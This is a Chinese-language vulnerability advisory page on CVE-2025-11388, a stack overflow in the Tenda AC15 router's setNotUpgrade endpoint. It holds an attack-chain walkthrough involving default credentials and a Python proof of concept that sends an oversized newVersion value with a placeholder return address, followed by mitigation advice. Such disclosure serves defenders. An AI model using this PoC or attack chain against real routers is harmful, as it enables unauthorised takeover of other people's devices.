IPBUF安全漏洞报告
English
CVE-2025-11388 CVSS 8.8 高危

CVE-2025-11388 Tenda AC15 setNotUpgrade接口栈缓冲区溢出漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11388
漏洞类型
栈缓冲区溢出(Stack-based Buffer Overflow)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC15

相关标签

缓冲区溢出栈溢出TendaAC15路由器IoT远程代码执行CVE-2025-11388高危漏洞固件漏洞

漏洞概述

CVE-2025-11388是Tenda AC15路由器(固件版本15.03.05.18)中存在的一个高危栈缓冲区溢出漏洞。该漏洞位于路由器的Web管理接口/goform/setNotUpgrade中,攻击者可以通过精心构造HTTP请求,对参数newVersion进行恶意操作,触发栈缓冲区溢出漏洞。由于该漏洞可被远程利用,且无需用户交互,同时存在公开的漏洞利用代码(POC),因此对使用受影响固件版本的Tenda AC15路由器用户构成严重威胁。

Tenda AC15是一款面向家庭和小型办公环境的双频无线路由器,在中国及海外市场拥有广泛的用户群体。该路由器的Web管理界面默认监听在80端口,提供了包括固件升级、Wi-Fi配置、端口转发、家长控制等在内的多种管理功能。攻击者一旦成功利用该漏洞,可以在受影响的设备上执行任意代码,获取路由器的完全控制权限,进而对内网中的其他设备发起进一步攻击,或将路由器纳入僵尸网络用于DDoS攻击、挖矿等恶意活动。

该漏洞的CVSS 3.1评分为8.8分,属于高危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需低权限认证(PR:L),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。漏洞已于2025年10月7日公开披露,目前已有公开的POC利用代码可供下载和使用。

技术细节

该漏洞的根本原因在于Tenda AC15路由器固件版本15.03.05.18中,/goform/setNotUpgrade接口在处理newVersion参数时,未对用户输入的数据长度进行充分的边界检查,导致攻击者可以传入超出预期长度的字符串数据,从而覆盖栈上的返回地址和其他关键数据结构。

从技术层面分析,setNotUpgrade接口是路由器Web管理界面中用于设置固件不升级状态的API端点。当路由器接收到包含newVersion参数的HTTP请求时,后端处理程序会将该参数值复制到栈上的固定大小缓冲区中,而没有使用安全的字符串拷贝函数(如strncpy、snprintf等),也没有进行长度校验。攻击者可以构造一个超长的newVersion参数值,使其超过栈缓冲区的容量,进而覆盖栈帧中的返回地址。

利用该漏洞时,攻击者首先需要获取路由器的管理权限(低权限即可,如普通用户账号),然后通过HTTP POST请求向/goform/setNotUpgrade端点发送包含恶意newVersion参数的payload。payload中包含了精心构造的shellcode和ROP(Return-Oriented Programming)链,用于绕过ASLR(地址空间布局随机化)等安全防护机制。当处理函数返回时,程序控制流被劫持到攻击者指定的地址,执行恶意代码。

由于该漏洞的利用复杂度较低,且已有公开的POC代码,攻击者可以快速将其武器化,对互联网上暴露的Tenda AC15路由器发起大规模扫描和攻击。建议用户尽快检查并更新路由器固件至最新版本。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者通过互联网扫描(如使用Shodan、ZoomEye等搜索引擎)识别暴露在公网上的Tenda AC15路由器设备,收集目标的IP地址、端口及固件版本信息。
STEP 2
步骤2:获取认证凭据
攻击者通过暴力破解、默认凭据(如admin/admin)或已泄露的凭据等方式获取路由器的低权限管理账号。由于该漏洞仅需低权限(PR:L),普通用户级别的认证即可触发。
STEP 3
步骤3:构造恶意请求
攻击者构造包含超长newVersion参数的HTTP POST请求,参数值包含用于溢出栈缓冲区的填充数据和用于劫持控制流的恶意代码(如shellcode或ROP链)。
STEP 4
步骤4:发送攻击载荷
攻击者通过已认证的会话向/goform/setNotUpgrade端点发送恶意请求,触发栈缓冲区溢出漏洞,覆盖函数返回地址。
STEP 5
步骤5:执行任意代码
当处理函数返回时,程序控制流被劫持到攻击者指定的地址,在路由器上执行任意代码,获取设备的完全控制权限。
STEP 6
步骤6:后续恶意活动
攻击者利用被控制的路由器进行内网渗透、DDoS攻击、挖矿、将设备纳入僵尸网络或窃取敏感数据等恶意活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11388 - Tenda AC15 setNotUpgrade Stack-based Buffer Overflow PoC # Vulnerability: Stack buffer overflow via 'newVersion' parameter in /goform/setNotUpgrade # Affected: Tenda AC15 firmware 15.03.05.18 import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_HOST}:{TARGET_PORT}/login/Auth" EXPLOIT_URL = f"http://{TARGET_HOST}:{TARGET_PORT}/goform/setNotUpgrade" USERNAME = "admin" PASSWORD = "admin" def exploit(): session = requests.Session() # Step 1: Authenticate to the router with low-privilege credentials login_payload = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(LOGIN_URL, data=login_payload, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return # Step 2: Craft malicious payload to overflow the stack buffer # The 'newVersion' parameter is copied into a fixed-size stack buffer # without proper bounds checking, leading to stack-based buffer overflow buffer_size = 256 # estimated buffer size on stack padding = b"A" * buffer_size # Return address overwrite (example: address in firmware) ret_address = b"\x41\x41\x41\x41" payload = padding + ret_address # Step 3: Send the crafted request to trigger the overflow exploit_payload = { "newVersion": payload.decode('latin-1') } print(f"[*] Sending exploit payload to {EXPLOIT_URL}") try: resp = session.post(EXPLOIT_URL, data=exploit_payload, timeout=10) print(f"[*] Exploit response status: {resp.status_code}") except Exception as e: print(f"[*] Connection may have been reset (possible crash): {e}") print("[+] Exploit attempt completed.") if __name__ == "__main__": exploit()

影响范围

Tenda AC15 15.03.05.18

防御指南

临时缓解措施
在官方补丁发布之前的临时缓解措施包括:1)立即修改路由器默认管理密码为强密码,避免使用弱口令或默认凭据;2)禁用路由器的远程Web管理功能,仅允许局域网内访问管理界面;3)在防火墙中限制对路由器80和443端口的外部访问,仅允许可信IP访问;4)监控路由器日志,关注对/goform/setNotUpgrade端点的异常访问请求;5)如非必要,可临时关闭路由器的固件自动升级相关功能以减少攻击面;6)将路由器置于网络隔离区域(如DMZ或独立VLAN),限制其被攻陷后的横向移动能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表